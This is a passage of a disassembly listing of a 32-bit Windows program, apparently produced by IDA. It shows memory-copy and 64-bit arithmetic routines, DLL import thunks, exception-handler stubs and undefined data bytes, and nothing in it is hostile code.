		mov	eax, [esp+18h]
		push	eax
		call	near ptr 77C2C21Bh
		nop
		mov	ecx, [esp+28h]
		mov	edx, [esp+24h]
		mov	esi, ecx
		xor	eax, eax
		mov	edi, edx
		shr	ecx, 2
		rep stosd
		mov	ecx, esi
		mov	esi, [esp+20h]
		and	ecx, 3
		rep stosb
		mov	ecx, 6
		mov	edi, edx
		rep movsd
		mov	ecx, ebx
		lea	edi, [edx+17h]
		mov	edx, ecx
		mov	esi, ebp
		shr	ecx, 2
		rep movsd
		mov	eax, [esp+20h]
		mov	ecx, edx
		and	ecx, 3
		push	eax
		rep movsb
		mov	esi, dword_50FAC4
		call	esi	; free
		push	ebp
		call	esi	; free
		add	esp, 0Ch
		lea	eax, [ebx+18h]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 68h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436868	proc near		; CODE XREF: SEH_4034E0+5j
					; SEH_4036D0+5j ...
		jmp	near ptr 77C227FAh
sub_436868	endp

; ---------------------------------------------------------------------------
		db 0B8h, 2 dup(0CCh)
byte_436870	db 90h			; DATA XREF: ___:off_43E004o
					; ___:0043E018o ...
		db 0E9h, 97h, 0F6h
		dd 0E990777Fh, 777E569Ch, 2B45E990h
; ---------------------------------------------------------------------------
		jg	short loc_4368F9

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436882	proc near		; CODE XREF: ___:00406BE0p
					; sub_406C00+11p ...
		nop
		jmp	near ptr 77C29CDDh
sub_436882	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 2, 12h
		dd 0E9907781h, 778113CCh, 144BE990h
		db 81h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43689A	proc near		; CODE XREF: sub_406C30+47p
					; ___:00406CCAp ...
		nop
		jmp	near ptr 77C29CC5h
sub_43689A	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 41h, 0ACh
; ---------------------------------------------------------------------------
		jle	short loc_43691D
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E1D4
		retn	4
; ---------------------------------------------------------------------------


loc_4368B1:				; DATA XREF: ___:off_43E1D4o
		push	esi
		mov	esi, ecx
		call	sub_436C6C
; ---------------------------------------------------------------------------
		test	byte ptr [esp+8], 1
		jz	short loc_4368C7
		push	esi
		call	sub_436882
; ---------------------------------------------------------------------------
		pop	ecx


loc_4368C7:				; CODE XREF: ___:004368BEj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, ecx
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4368D2	proc near		; CODE XREF: sub_409610+4Dp
					; ___:0040AA2Dp
		nop
		jmp	near ptr 77C226F6h
sub_4368D2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0ACh, 96h
; ---------------------------------------------------------------------------
		xor	byte ptr [edi-34h], 0CCh

; =============== S U B	R O U T	I N E =======================================



sub_4368E0	proc near		; CODE XREF: sub_40A0C0+5p
					; sub_40FFE0+1Ap ...

arg_0		= byte ptr  4

		push	ecx
		cmp	eax, 1000h
		lea	ecx, [esp+4+arg_0]
		jb	short loc_436900


loc_4368EC:				; CODE XREF: sub_4368E0+1Ej
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax


loc_4368F9:				; CODE XREF: ___:00436880j
		cmp	eax, 1000h
		jnb	short loc_4368EC


loc_436900:				; CODE XREF: sub_4368E0+Aj
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax


loc_436906:				; CODE XREF: ___:0043691Bj
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_4368E0	endp

; ---------------------------------------------------------------------------
		db 0CCh
		db 90h
		db 0E9h, 4Ah, 0Dh
; ---------------------------------------------------------------------------
		xor	dword ptr [edi-70h], 7E6674E9h
		ja	short loc_436906


loc_43691D:				; CODE XREF: ___:004368A4j
		push	ebp
		xchg	eax, ecx
		xor	byte ptr [edi-7Dh], 90h
		jmp	near ptr 77C47A50h
; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 50h, 35h
		dd 0E9907780h, 77810FECh, 5ACDE990h, 3D83777Fh,	50E9B4h
		dd 0FF0C75FFh, 90042474h, 7FE4ABE8h, 68C35977h,	50E9A4h
		dd 50E9B468h, 2474FF00h, 310E80Ch, 0C4830000h, 74FFC30Ch
		dd 0CBE80424h, 0F7FFFFFFh, 59C01BD8h, 0C348D8F7h, 589DE990h
		dd 0E990777Fh, 77800838h, 849E990h
		db 80h,	77h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_43698A	proc near		; CODE XREF: sub_419970+28p
		nop
		jmp	near ptr 77C4FA10h
sub_43698A	endp


; =============== S U B	R O U T	I N E =======================================



sub_436990	proc near		; CODE XREF: sub_41B8D0+54p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_4369B1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_436A01
; ---------------------------------------------------------------------------


loc_4369B1:				; CODE XREF: sub_436990+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_4369BF:				; CODE XREF: sub_436990+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_4369BF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_4369EA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_4369EA
		jb	short loc_4369F2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_4369F2


loc_4369EA:				; CODE XREF: sub_436990+4Aj
					; sub_436990+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_4369F2:				; CODE XREF: sub_436990+52j
					; sub_436990+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_436A01:				; CODE XREF: sub_436990+1Fj
		pop	ebx
		retn	10h
sub_436990	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_436A10	proc near		; CODE XREF: sub_41B8D0+30p
					; sub_41B8D0+3Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_436A32
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_436A73
; ---------------------------------------------------------------------------


loc_436A32:				; CODE XREF: sub_436A10+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_436A40:				; CODE XREF: sub_436A10+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_436A40
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_436A6E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_436A6E
		jb	short loc_436A6F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_436A6F


loc_436A6E:				; CODE XREF: sub_436A10+4Ej
					; sub_436A10+54j
		dec	esi


loc_436A6F:				; CODE XREF: sub_436A10+56j
					; sub_436A10+5Cj
		xor	edx, edx
		mov	eax, esi


loc_436A73:				; CODE XREF: sub_436A10+20j
		pop	esi
		pop	ebx
		retn	10h
sub_436A10	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 33h, 0A0h
		dd 8DE97780h, 0DC778085h, 13D7E990h, 0E9907781h, 7780A3E6h
		dd 0A765E990h, 0E9907780h, 7780AAD8h, 0A8FAE990h, 94E97780h
		dd 677780ACh, 1132E990h, 0E9907781h, 7780B0BEh,	80843DE9h
		dd 54E96F77h, 137780A3h, 55FDE990h, 0E990777Fh,	777E5A95h
		dd 320E990h, 0E9907780h, 77800722h, 7E87DFE9h, 0E9909F77h
		dd 77808E4Dh, 0AD80E990h, 0ECE97780h, 7E778038h, 3811E990h
		dd 18E97780h, 0A6778126h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436AFC	proc near		; CODE XREF: ___:0043172Cp
		nop
		jmp	near ptr 77C3619Ch
sub_436AFC	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 7780026Ch, 0A0A3E990h, 35D97780h, 96E1CF45h,	748A71E7h
		dd 0B890376Bh, 9CCF4ABBh, 59D35ECFh, 6D6B1A95h,	6DE25A75h
		dd 0C43E1A46h, 0E6EA6BCh, 5D894263h, 90026AFCh,	7FE83BE8h
		dd 0D835977h, 50E9A4h, 0B40D83FFh, 0FF0050E9h, 8685E890h
		dd 0D8B777Eh, 50E8A8h, 41E80889h, 90777E86h, 0E8A40D8Bh
		dd 8890050h, 50FA1CA1h,	0A3008B00h, 50E998h, 12EE8h, 0C01D3900h
		dd 7500446Ch, 6CA8680Ch, 0E8900043h, 77816AE5h,	0FAE859h
		dd 10680000h, 68004434h, 44330Ch, 0E5E8h, 0E8A0A100h, 45890050h
		dd 94458D94h, 9C35FF50h, 8D0050E8h, 8D509C45h, 8D509045h
		dd 9050A045h, 7E8322E8h, 32086877h, 680044h, 0E8004430h
		dd 0B2h, 0A124C483h, 50FA2Ch, 7589308Bh, 223E808Ch, 89463A75h
		dd 68A8C75h, 474C33Ah, 0F275223Ch, 75223E80h, 75894604h
		dd 3A068A8Ch, 3C0474C3h, 89F27620h, 458DD05Dh, 0E89050A4h
		dd 23695B0h, 1D045F6h, 0B70F1174h, 0EEBD445h, 76203E80h
		dd 758946D8h, 6AF5EB8Ch, 5650580Ah, 0E8905353h,	24E93C4h
		dd 0B282E850h, 4589FFFCh, 0E8905098h, 77803232h, 8BEC458Bh
		dd 89098B08h, 5150884Dh, 21E8h,	0C3595900h, 0FFE8658Bh
		dd 0E8908875h, 7780322Eh

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436C6C	proc near		; CODE XREF: ___:004368B4p
		nop
		jmp	near ptr 77C21868h
sub_436C6C	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
dword_436C74	dd 777FE1D9h, 321CE990h, 0E9907780h, 777FC12Ah,	8261E990h
		dd 0D8E9777Eh, 0A1778030h, 3000068h, 6800h, 25E80001h
		dd 59000000h, 0CEE9C359h, 2A778169h, 0C3C3C033h, 84F2E990h
		dd 0E990777Eh, 777E8523h, 0E6BEE990h, 0E990777Fh, 777FEFD0h
		dd 818166E9h, 0E9903477h, 75C6969Bh, 9779E990h,	53E975C6h
		dd 2075C5B3h, 87A3E990h, 0E99075C5h, 75C69748h,	0B279E990h
		dd 0E99075C4h, 75C54B58h, 0C609B6E9h, 0E990F075h, 75C4EDE4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436D00	proc near		; CODE XREF: sub_419370+17Ep
		nop
		jmp	near ptr 76D6AC1Dh
sub_436D00	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 2439C08h, 9C84E990h,	0E9900243h, 2439E4Fh, 92E2E990h
		dd 0DDE90244h, 0C0024592h, 4692D7E9h, 0E9907E02h, 24792D0h
		dd 4892CBE9h, 0E9900E02h, 248A8EDh, 0AB4AE990h,	0E9900248h
		dd 248AE80h, 0B0EAE990h, 0E9900248h, 24992ACh, 9AAFE990h
		dd 34E90249h, 7E02499Eh, 929AE990h, 0E990024Ah,	24A9D92h
		dd 928EE990h, 45E9024Bh, 0C0024B95h, 9282E990h,	0E990024Ch
		dd 24D927Ch, 0A54AE990h, 71E9024Dh, 0A1024E92h,	4E944CE9h
		dd 0E9908802h, 24E9AE2h, 4E9F88E9h, 0E990A602h,	24F9258h
		dd 9252E990h, 0E9900243h, 2429B25h, 9246E990h, 41E90242h
		dd 16024192h, 409A19E9h, 35E95302h, 0B8024092h,	3F922FE9h
		dd 0E990AE02h, 23EA03Ch, 9C85E990h, 0E990023Eh,	23E9986h
		dd 9216E990h, 11E9023Eh, 5D023692h, 9AADE990h, 0E990023Dh
		dd 23D9A7Ch, 9A02E990h,	0E6E9023Dh, 957C4CA2h, 0A1F7E990h
		dd 0E9907C4Ch, 23D987Bh, 971AE990h, 0E1E9023Dh,	6C023D91h
		dd 3C9F1BE9h, 53E9FA02h, 20023C9Eh, 3C9C70E9h, 0E9903C02h
		dd 23C9B06h, 3C98EFE9h,	50E98802h, 0E1023C97h, 3C9543E9h
		dd 0E990E602h, 23C93DCh, 3C91ABE9h, 0E9908802h,	23B9C70h
		dd 9BA2E990h, 0E990023Bh, 23B966Ah, 963EE990h, 0E990023Bh
		dd 23B918Ch, 9CC1E990h,	36E9023Ah, 0FF023A98h, 94B8E990h
		dd 75E9023Ah, 0FA023A91h, 399AD1E9h, 50E96202h,	1302399Ah
		dd 93B3E990h, 0E9900239h, 239915Ch, 9E36E990h, 0B1E90238h
		dd 0DE023899h, 914AE990h, 0E9900238h, 2379F0Ah,	9D29E990h
		dd 0E9900237h, 23799B2h, 9804E990h, 2DE90237h, 9A023791h
		dd 3692EFE9h, 0A6E97402h, 0AE00264Ch, 94E6E990h, 69E9024Fh
		dd 7B0259A3h, 9380E990h, 0E9900255h, 2599108h, 936BE990h
		dd 0FDE90258h, 53025890h, 90F6E990h, 0E9900257h, 2569715h
		dd 947DE990h, 0E9900256h, 25690E4h, 559CBFE9h, 7CE92D02h
		dd 0DC02559Bh, 9894E990h, 0E9900255h, 24F9753h,	5590C7E9h
		dd 0E990E802h, 2549AB1h, 54969BE9h, 0B5E91602h,	46025490h
		dd 5390AFE9h, 0A9E99202h, 16025290h, 51AD33E9h,	0E9904E02h
		dd 251A96Eh, 51A77FE9h,	0A0E92802h, 0EB0251A5h,	908AE990h
		dd 0E9900251h, 2509084h, 0A18EE990h, 0E9907C60h, 7167CFB9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436F88	proc near		; CODE XREF: ___:0042C991p
		jmp	near ptr 71AB4FD4h
sub_436F88	endp

; ---------------------------------------------------------------------------
		db 0C5h, 90h, 0E9h
		dd 716874E5h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F94	proc near		; CODE XREF: sub_42C981+1p
		nop
		jmp	near ptr 71AB2BF4h
sub_436F94	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436F9A	proc near		; CODE XREF: sub_42CCF0+E5p
					; sub_42DD10+4Fp
		nop
		jmp	near ptr 71AB615Ah
sub_436F9A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FA0	proc near		; CODE XREF: sub_42D240+9Ap
					; sub_42DDF0+45p ...
		nop
		jmp	near ptr 71AB428Ah
sub_436FA0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FA6	proc near		; CODE XREF: sub_42E070+53p
					; sub_42E070+96p ...
		jmp	near ptr 71AB9639h
sub_436FA6	endp

; ---------------------------------------------------------------------------
		pop	edx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FAC	proc near
		nop
		jmp	near ptr 71AC1028h
sub_436FAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FB2	proc near		; CODE XREF: sub_42CF20+71p
					; sub_42DB00+50p
		nop
		jmp	near ptr 71AB2DC0h
sub_436FB2	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 2, 0BCh
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FBE	proc near
		jmp	near ptr 71AB88D3h
sub_436FBE	endp

; ---------------------------------------------------------------------------
		db 32h
		dd 67BB9DE9h
; ---------------------------------------------------------------------------
		jno	short loc_436FF7

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FCA	proc near		; CODE XREF: sub_42D620+187p
		nop
		jmp	near ptr 71AB951Eh
sub_436FCA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FD0	proc near
		nop
		jmp	near ptr 71AB3E00h
sub_436FD0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FD6	proc near		; CODE XREF: sub_42C8B0+B1p
		jmp	near ptr 71AB2B66h
sub_436FD6	endp

; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FDC	proc near		; CODE XREF: ___:0042C9DFp
					; sub_42D620+152p
		nop
		jmp	near ptr 71AB3B91h
sub_436FDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FE2	proc near
		jmp	near ptr 71AB406Ah
sub_436FE2	endp

; ---------------------------------------------------------------------------
		db 7
		db 90h
		db 0E9h, 3Ah, 0D4h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_436FEE	proc near		; CODE XREF: sub_42C830+10p
		jmp	near ptr 71AB664Dh
sub_436FEE	endp

; ---------------------------------------------------------------------------
		db 0FFh
		db 0E9h, 0CFh, 0E0h
; ---------------------------------------------------------------------------


loc_436FF7:				; CODE XREF: ___:00436FC8j
		db	67h
		jno	near ptr 7015h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_436FFA	proc near		; CODE XREF: sub_433950+Bp
		nop
		jmp	near ptr 71AB94DCh
sub_436FFA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437000	proc near		; CODE XREF: sub_41A780+92p
					; sub_41A970+CAp ...
		nop
		jmp	near ptr 71AB4544h
sub_437000	endp

; ---------------------------------------------------------------------------
		dw 45E9h
		dd 0A471689Bh, 0D507E990h, 0E9907167h, 7167BBA8h, 67BCF2E9h
		dd 0E9907171h, 7167BC45h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437024	proc near
		nop
		jmp	near ptr 71AB3EA1h
sub_437024	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h
		dd 71681739h, 0D453E990h
		db 67h,	71h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437036	proc near		; CODE XREF: sub_42C8B0+53p
					; sub_42C8B0+C3p
		jmp	near ptr 71ABE6EBh
sub_437036	endp

; ---------------------------------------------------------------------------
		db 0E1h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43703C	proc near		; CODE XREF: sub_42E070+4Ap
		jmp	near ptr 71AC0BDEh
sub_43703C	endp

; ---------------------------------------------------------------------------
		db 0C7h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437042	proc near
		nop
		jmp	near ptr 71AB2A5Eh
sub_437042	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_437048	proc near		; CODE XREF: ___:0041C267p
					; ___:0041C27Cp
		jmp	near ptr 71B2578Ch
sub_437048	endp

; ---------------------------------------------------------------------------
		dec	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43704E	proc near		; CODE XREF: ___:0041C3BDp
					; ___:0041C3DFp
		jmp	near ptr 71B25099h
sub_43704E	endp

; ---------------------------------------------------------------------------
		inc	ecx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437054	proc near		; CODE XREF: sub_420040+B4p
		nop
		jmp	near ptr 76BF215Ah
sub_437054	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_43705A	proc near		; CODE XREF: sub_420040+9Bp
		jmp	near ptr 76BF1F1Ch
sub_43705A	endp

; ---------------------------------------------------------------------------
		db 0D4h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437060	proc near		; CODE XREF: sub_420040+21p
		nop
		jmp	near ptr 76BF3A9Ah
sub_437060	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_437066	proc near		; CODE XREF: ___:0041B264p
		nop
		jmp	near ptr 76F36C5Bh
sub_437066	endp

; ---------------------------------------------------------------------------
		db 90h
		db 0E9h, 0DCh, 0F1h
dword_437070	dd 0AEE97780h, 167780F0h, 80F0F3E9h, 0E990BB77h, 7780F29Ch
		dd 2C3h	dup(0CCCCCCCCh), 0FB988D8Dh, 8BE9FFFFh,	8DFFFC96h
		dd 0FFFBC88Dh, 9680E9FFh, 8D8DFFFCh, 0FFFFFBB0h, 0FC9675E9h
		dd 0E08D8DFFh, 0E9FFFFFBh, 0FFFC966Ah, 0FB94858Bh, 0E083FFFFh
		dd 0FC08501h, 884h, 44D8B00h, 0FC9651E9h
; ---------------------------------------------------------------------------
		inc	ebx

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4034E0	proc near		; DATA XREF: sub_4034E0+2o
		mov	eax, offset dword_43E470
		jmp	sub_436868
SEH_4034E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AD2
; ---------------------------------------------------------------------------


loc_437C0B:				; DATA XREF: ___:0043E4ECo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AD2
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40206D
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40206D

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4036D0	proc near		; DATA XREF: sub_4036D0+2o
		mov	eax, offset dword_43E4C0
		jmp	sub_436868
SEH_4036D0	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_403C00	proc near		; DATA XREF: sub_403C00+2o
		mov	eax, offset dword_43E700
		jmp	sub_436868
SEH_403C00	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_438058:				; DATA XREF: ___:0043E75Co
		mov	ecx, [ebp-10h]
		add	ecx, 1Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

